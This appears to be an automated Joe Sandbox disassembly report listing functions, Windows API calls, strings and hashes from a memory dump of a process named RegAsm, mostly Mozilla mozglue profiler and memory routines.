Function 6CB88ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CB4EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB4EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CB8B392,?,?,00000001), ref: 6CB891F4

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Strings

marker-chart, xrefs: 6CB8905E
stack-chart, xrefs: 6CB890B2
timeline-memory, xrefs: 6CB89088
timeline-ipc, xrefs: 6CB89096
data, xrefs: 6CB890E8
marker-table, xrefs: 6CB8906C
timeline-fileio, xrefs: 6CB890A4
timeline-overview, xrefs: 6CB8907A
name, xrefs: 6CB88F16

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: a9686ce1996f8e642681181337b9887c2b1f5c2a32f40a82699298bcdeaa8112
Instruction ID: 56b5da7b4724badf033f5b86d6bf926a593dca3ebedab1ff26019c2cd58e3f0e
Opcode Fuzzy Hash: a9686ce1996f8e642681181337b9887c2b1f5c2a32f40a82699298bcdeaa8112
Instruction Fuzzy Hash: 1CB19FB4B012899BDF04CF95D4927FEBBB6EB84318F104429D502ABF84DB359945CBD1

Function 6CB6C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB6C5A3
WideCharToMultiByte.KERNEL32 ref: 6CB6C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CB6C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB6CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB6CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB6CAA5

Strings

0, xrefs: 6CB6D30A
(null), xrefs: 6CB6C596

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 9c211e6ebe36314f46b6492f9bed639c571ea3a03c2541a68f28cfc87e415910
Instruction ID: f378d87cf6991eb4c4c47501a3b71ca918f2f5239025bed48e036a58adee8fc2
Opcode Fuzzy Hash: 9c211e6ebe36314f46b6492f9bed639c571ea3a03c2541a68f28cfc87e415910
Instruction Fuzzy Hash: 36A19C306083819FDB00DF2AC99475BBBE5FF89748F14892DE89997A41DB35E805CB82

Function 6CB6C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CB6C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB6C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CB6C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB6C891

Strings

NAN, xrefs: 6CB6C7AD
inf, xrefs: 6CB6C78F
INF, xrefs: 6CB6C794
nan, xrefs: 6CB6C7A8

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 82693de0791f0376589defa570704d0ce4b3e63594dd99dfa0559c7e67f34952
Instruction ID: 338b170e2b229961c979004b7c8f38d641c2c9b1c1092a3a5751b945b1be4db9
Opcode Fuzzy Hash: 82693de0791f0376589defa570704d0ce4b3e63594dd99dfa0559c7e67f34952
Instruction Fuzzy Hash: 145195706087C48BDB10DF6DC4816AAFBF0BF9A305F00892DE9D5A7A51E770D9858B43

Function 6CB43480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB43492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CB4350E
__Init_thread_footer.LIBCMT ref: 6CB43522
__aulldiv.LIBCMT ref: 6CB43552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB4357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB43592

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CB43508
kernel32.dll, xrefs: 6CB434EA

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: eea514e59c934332874826099f106acc49748460a06aefe2a2a819f24e52577f
Instruction ID: d08419efea0120fa4a8fc547c835dc98b0bc7bccac59dcdf89724b9161d5446d
Opcode Fuzzy Hash: eea514e59c934332874826099f106acc49748460a06aefe2a2a819f24e52577f
Instruction Fuzzy Hash: 2631C275B0028A9BDF04DFB9C858AAE77B9FB49704F144429E951E3750DB30AA04CF61

Function 6CB8EB90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB8EBAC

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8EBC1
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000), ref: 6CB8EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB8EBE5
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8,00000000), ref: 6CB8EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB8EC46
CloseHandle.KERNEL32(?), ref: 6CB8EC55
free.MOZGLUE(00000000), ref: 6CB8EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CB8EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB8EA9B

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectReleaseSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 4250961200-1186885292
Opcode ID: 7f99001b8605b61c8ff192c268162a58b8ec1f4c24fea331fe641864dd0906c1
Instruction ID: ad2e20b22f6e3334733a73cd211cbb6a45389811f22cd541dda9fab4880323bf
Opcode Fuzzy Hash: 7f99001b8605b61c8ff192c268162a58b8ec1f4c24fea331fe641864dd0906c1
Instruction Fuzzy Hash: 1011213AA011959BDF009FA4D808A9E7B78EF09739F004221FD1A97740D7349A04CBE2

Function 6CB44480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CB84843,?), ref: 6CB445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CB84843,?), ref: 6CB4468A
free.MOZGLUE(?,?,?,?,?,?,6CB84843,?), ref: 6CB446C9
free.MOZGLUE(?), ref: 6CB446EF
free.MOZGLUE(?), ref: 6CB44712
free.MOZGLUE(?), ref: 6CB44735
free.MOZGLUE(?), ref: 6CB44758
free.MOZGLUE(?), ref: 6CB4477B
free.MOZGLUE(?), ref: 6CB4479E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: abb97546cc9e48ffe4ae394209e4df1d07219b3607d05a6fcad5bde41cf869fa
Instruction ID: 1074c04263a82f946c591e38d2ce37359b2194a800ebb8c866be6baa80f70fa1
Opcode Fuzzy Hash: abb97546cc9e48ffe4ae394209e4df1d07219b3607d05a6fcad5bde41cf869fa
Instruction Fuzzy Hash: 11B1F671A081908FDB18DF3CD89076D77B2EF42328F188669E416DBF9AD73098649F52

Function 6CBAAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CBAAC52
CreateFileMappingW.KERNEL32 ref: 6CBAAC7D
GetSystemInfo.KERNEL32 ref: 6CBAAC98
MapViewOfFile.KERNEL32 ref: 6CBAACB0
GetSystemInfo.KERNEL32 ref: 6CBAACCD
MapViewOfFile.KERNEL32 ref: 6CBAAD05
UnmapViewOfFile.KERNEL32 ref: 6CBAAD1C
CloseHandle.KERNEL32 ref: 6CBAAD28
UnmapViewOfFile.KERNEL32 ref: 6CBAAD37
CloseHandle.KERNEL32 ref: 6CBAAD43
CloseHandle.KERNEL32 ref: 6CBAAD67

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 96aa527efc4f249471c72c865d54a6b6b1ccd25c081e70356750f160ba273536
Instruction ID: 047532ed7449a463490a306891be2addeaee3a768652420e4a5f0c9ac5428999
Opcode Fuzzy Hash: 96aa527efc4f249471c72c865d54a6b6b1ccd25c081e70356750f160ba273536
Instruction Fuzzy Hash: F2314FB1A047458FDB00AFB8D64826EBBF0FF89705F01892DE9C597211EB709589CF92

Function 6CB7F2B0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB7D9DB), ref: 6CB7F2D2
GetModuleHandleW.KERNEL32(ntdll.dll,00000000), ref: 6CB7F2F5
moz_xmalloc.MOZGLUE(?,?,00000000), ref: 6CB7F386
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CB7F347

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CB7F3C8
free.MOZGLUE(00000000,00000000), ref: 6CB7F3F3
free.MOZGLUE(00000000,00000000), ref: 6CB7F3FC
free.MOZGLUE(00000000,?,?,00000000), ref: 6CB7F413

Strings

ntdll.dll, xrefs: 6CB7F2F0

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: freemoz_xmalloc$HandleModule$malloc
String ID: ntdll.dll
API String ID: 301460908-2227199552
Opcode ID: f030193d51f2f2d795c88152636cb8b581ea24aa715ca81b5d57887bbd08a626
Instruction ID: 0110f4887b5e015310c263190b718dc8732e3c541f32aea2527a3dab5cd275a1
Opcode Fuzzy Hash: f030193d51f2f2d795c88152636cb8b581ea24aa715ca81b5d57887bbd08a626
Instruction Fuzzy Hash: DC4156B5E00284CBDF148F68D84179F77B5EF49358F25442DDC2A97B80EB30A518C7AA

Function 6CBA6A10 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 115stringCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6A68
GetCurrentProcess.KERNEL32 ref: 6CBA6A7D
GetCurrentProcess.KERNEL32 ref: 6CBA6AA1
EnterCriticalSection.KERNEL32(6CBCF618), ref: 6CBA6AAE
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CBA6AE1
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CBA6B15
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CBA6B65
LeaveCriticalSection.KERNEL32(6CBCF618,?,?), ref: 6CBA6B83

Strings

SymInitialize, xrefs: 6CBA6BA3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSectionstrncpy$CurrentProcess$EnterInitializeLeave
String ID: SymInitialize
API String ID: 3103739362-3981310019
Opcode ID: 21cf5be7ce600df6c60a4e5c3831a70c9c829686a044d958d811676a4d30f6b8
Instruction ID: d528bf1c99650393ae4a731334cbfb18d3ea3c60ba8db5ef246b5788a7d684a2
Opcode Fuzzy Hash: 21cf5be7ce600df6c60a4e5c3831a70c9c829686a044d958d811676a4d30f6b8
Instruction Fuzzy Hash: 8A4184B16053849FDB10CF74C889B9E3BB8EB59704F044479ED84CF242D7719649CB62

Function 6CB59620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CB59675
__Init_thread_footer.LIBCMT ref: 6CB59697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CB596E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CB59707
__Init_thread_footer.LIBCMT ref: 6CB5971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB59773

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CB597B7
FreeLibrary.KERNEL32 ref: 6CB597D0
FreeLibrary.KERNEL32 ref: 6CB597EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CB59824

Strings

NtMapViewOfSection, xrefs: 6CB59701
MapViewOfFileNuma2, xrefs: 6CB597B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CB59670
ntdll.dll, xrefs: 6CB596E3

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 96da00b8580bca22e6bebc44e612af893825002040eb9fc6e0a0d11328380f03
Instruction ID: 0e1f5041de3c14126f6c697f4cd80df5ed818617f8cd911746b2ba3290cfe182
Opcode Fuzzy Hash: 96da00b8580bca22e6bebc44e612af893825002040eb9fc6e0a0d11328380f03
Instruction Fuzzy Hash: E841B3B5B002869FDF00CFA4D884A9A77B4EB5D364F00856AED1997740D730EA25CFA2

Function 6CB41E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB41EC1
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB41EE1
EnterCriticalSection.KERNEL32(6CBCE744), ref: 6CB41F38
LeaveCriticalSection.KERNEL32(6CBCE744), ref: 6CB41F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CB41F83
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB41FC0
EnterCriticalSection.KERNEL32(6CBCE784), ref: 6CB41FE2
LeaveCriticalSection.KERNEL32(6CBCE784), ref: 6CB41FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB42019

Strings

MOZ_CRASH(), xrefs: 6CB42000

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: d6af17504b700255f19701aee928d9962d366c6d91ee1130fe0ec9bab6033cfe
Instruction ID: 1b6795486aa9a4dc15667bcfa0bc0db2ca6f272e68865616f47a88dc8660b354
Opcode Fuzzy Hash: d6af17504b700255f19701aee928d9962d366c6d91ee1130fe0ec9bab6033cfe
Instruction Fuzzy Hash: 6341E171F043C5CBDF108FA8C889BAE37B9EB59348F04402AE91597744DB7199248BE6

Function 6CBA5FF0 Relevance: 15.1, APIs: 10, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6CBA6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6CBA6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(6CB4EE51,?), ref: 6CBA6046
OutputDebugStringA.KERNEL32(?,6CB4EE51,?), ref: 6CBA6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBA6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBA6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBA6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6CBC148E), ref: 6CBA6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6CB4EE51,00000000,?), ref: 6CBA60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CBA60C4

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: 111a313d412391b99191cb9dfa4fbcf1d1cd337968417825b3f1ed93d7a41d8d
Instruction ID: e48be860a1136147ed88ff2879c1c46beaeaf6f55ec7ad008581320d73962a55
Opcode Fuzzy Hash: 111a313d412391b99191cb9dfa4fbcf1d1cd337968417825b3f1ed93d7a41d8d
Instruction Fuzzy Hash: 0E21EAB1A002489FDF205F65DC49AAE7BBCFF49614F008428E85AD7340DB74A659CFD1

Function 6CB8DBB0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 207threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8DBE1
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8DBE9

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6CB8DC5D
moz_xmalloc.MOZGLUE(00000008,00000000), ref: 6CB8DC7F

Part of subcall function 6CB5CA10: malloc.MOZGLUE(?), ref: 6CB5CA26

Part of subcall function 6CB89A60: GetCurrentThreadId.KERNEL32 ref: 6CB89A95
Part of subcall function 6CB89A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB89A9D
Part of subcall function 6CB89A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB89ACC
Part of subcall function 6CB89A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB89BA7
Part of subcall function 6CB89A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB89BB8
Part of subcall function 6CB89A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB89BC9

Part of subcall function 6CB8E8B0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB8DCF5), ref: 6CB8E92D

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB8DD1B
